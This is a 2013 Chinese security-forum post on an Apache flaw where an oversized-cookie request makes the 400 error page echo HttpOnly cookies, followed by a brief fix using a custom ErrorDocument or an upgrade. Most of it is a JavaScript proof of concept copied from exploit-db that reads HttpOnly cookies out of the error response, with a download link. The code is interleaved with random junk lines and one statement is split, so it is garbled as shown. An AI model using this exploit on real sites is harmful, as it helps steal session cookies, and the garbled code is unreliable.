中国网络渗透测试联盟
标题:
Apache HttpOnly Cookie XSS跨站漏洞
[打印本页]
作者:
admin
时间:
2013-4-19 19:15
标题:
Apache HttpOnly Cookie XSS跨站漏洞
很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。
/ a' r1 k; ?* z
4 V- d! x5 a6 i# j4 L6 E
用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:
$ @7 ?4 c, z: z% ]( A/ w' E
: g/ W- I& g9 C! ^$ \4 V, C( M
7 U, U$ E3 H5 m+ w* h2 P: d
//
http://www.exploit-db.com/exploits/18442/
8 n) y1 ]; ]! b F) x7 w2 i1 b
function setCookies (good) {
% P- ]) Q% T& {
// Construct string for cookie value
- |2 A% `$ I- i0 W* u9 ?
var str = "";
4 u4 |9 a4 w: m$ ?8 ?
for (var i=0; i< 819; i++) {
% Y; J( q- ?; w* V
str += "x";
- p0 K3 }1 N2 D) g$ {
}
7 u+ ^* `+ B. \
// Set cookies
3 G4 K5 b1 z. O; f. f3 c d: @$ E( s
for (i = 0; i < 10; i++) {
6 z9 @9 }( N& C6 o
// Expire evil cookie
- }2 H/ K: e6 p+ M- E
if (good) {
$ Q) Z1 A% Q9 @0 T
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
6 L# G0 S2 Q2 N7 G: G
}
* t% D) V; m$ Z2 ]4 p( u
// Set evil cookie
" I X% [0 {! v' V" d8 b
else {
* _& p2 E- w& s" T" b; c
var cookie = "xss"+i+"="+str+";path=/";
, [* x. q( @% L Q6 \7 K
}
- }- g8 r9 N& P/ S/ N, L
document.cookie = cookie;
7 ?+ A- R2 {. Q% ^1 C0 Y
}
& i5 o7 |! E' \$ Q) c% t
}
& L D& ~$ w. }8 X1 I; f% _8 @
function makeRequest() {
( _* M7 `6 |5 t4 k' O' s
setCookies();
4 y- M4 g* Y. _# J, k" m7 B
function parseCookies () {
3 m! O+ D4 i" z6 @$ l+ G p
var cookie_dict = {};
) W: t6 g M. [0 R; B P0 R$ `
// Only react on 400 status
! Y+ i0 H( O( f/ g
if (xhr.readyState === 4 && xhr.status === 400) {
% S! X# F0 x- Y8 y' @
// Replace newlines and match <pre> content
" A+ i8 B. @3 [" S) H8 f z7 h
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
9 J# N7 g! f+ [* |
if (content.length) {
+ z; j1 _8 F3 N, z. B# x
// Remove Cookie: prefix
: F. F8 u. @+ A
content = content[1].replace("Cookie: ", "");
' R7 L, t) X$ _% _% _1 j7 a0 T
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
6 I+ t/ Y$ ?0 w* |2 {- ?$ e' p
// Add cookies to object
7 |+ L% _ i4 `2 h w, \, h' d
for (var i=0; i<cookies.length; i++) {
+ [0 m) m7 Z* K% R" ]! R4 R7 U& c
var s_c = cookies
.split('=',2);
$ D: K% x6 ^5 D+ j b8 L( @* h B
cookie_dict[s_c[0]] = s_c[1];
2 m7 t( O: M" K5 i r! P3 p7 m
}
# ]1 T4 W% |7 y# ^( s2 ^4 S
}
; B6 ]! J' B$ l$ t3 }; Z; @: s
// Unset malicious cookies
/ {; Y- K; e1 [3 o2 f7 z6 F
setCookies(true);
' j' L4 m. E, R1 l7 \ \/ r
alert(JSON.stringify(cookie_dict));
" W. p( c6 g. h& W7 c {& w% A
}
; x; u7 D: k; V; p$ j1 }: F
}
, H* H, H$ @ l9 Q/ W
// Make XHR request
" w; C! t0 _0 p1 C; Z
var xhr = new XMLHttpRequest();
+ D, ~+ n% x Y5 q8 g! `7 }0 Y
xhr.onreadystatechange = parseCookies;
, ]* J2 B0 D/ g& c3 U
xhr.open("GET", "/", true);
* B7 d q) n" E4 e! V
xhr.send(null);
' |% V- I& P# @& f
}
+ O% X, V4 {* y5 f
makeRequest();
7 M4 Q' f# U0 Q$ T3 l5 L
# J- g* g3 \2 C2 v
你就能看见华丽丽的400错误包含着cookie信息。
* I" ~' i+ h* {/ }3 |: V
) p/ `# V) d' l4 m" t# c
下载地址:
https://gist.github.com/pilate/1955a1c28324d4724b7b/download#
4 [% b4 [6 ?& f* M# [3 G
9 g4 d* U7 ~- d1 j& H( X
修复方案:
& \8 p R$ K9 R
& y1 Q5 V3 o V$ ?4 y, M2 n' Z
Apache官方提供4种错误处理方式(
http://httpd.apache.org/docs/2.0/mod/core.html#errordocument
),如下
9 }0 ^' u0 [7 ~ G; j4 @! j+ b
- ` n( d- B/ _: L) y0 ]6 N
In the event of a problem or error, Apachecan be configured to do one of four things,
. S- j2 O+ K- O1 b
- }+ i- P( D6 |: ]: F; i
1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
" Q* t* ~1 g) m1 o. {
2. output acustomized message输出一段信息
# B, e; ]0 @: V1 W( n8 z7 L3 @& E
3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
! k( A# P/ j8 V. N" ]9 m, H
4. redirect to an external URL to handle theproblem/error转向一个外部URL
% M8 t2 ?* |/ E. q% Y- f
0 F# A' e" }! j' J( l7 Z
经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容
' J% p& _" n$ j) J* x
c; e7 G, ?6 g9 p4 d
Apache配置:
0 ^3 w3 A3 e0 P* [9 D) d0 H
5 ]) N- K5 Y3 e
ErrorDocument400 " security test"
2 F+ {: S" i0 B
Q$ G5 f% g: V% @* F
当然,升级apache到最新也可:)。
% C+ [# Z/ \; L0 Z
* V# g5 @2 G) [! L& b. @1 ]
参考:
http://httpd.apache.org/security/vulnerabilities_22.html
4 a/ L# B q: n
* t4 j5 B4 B3 v$ ~. Z
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2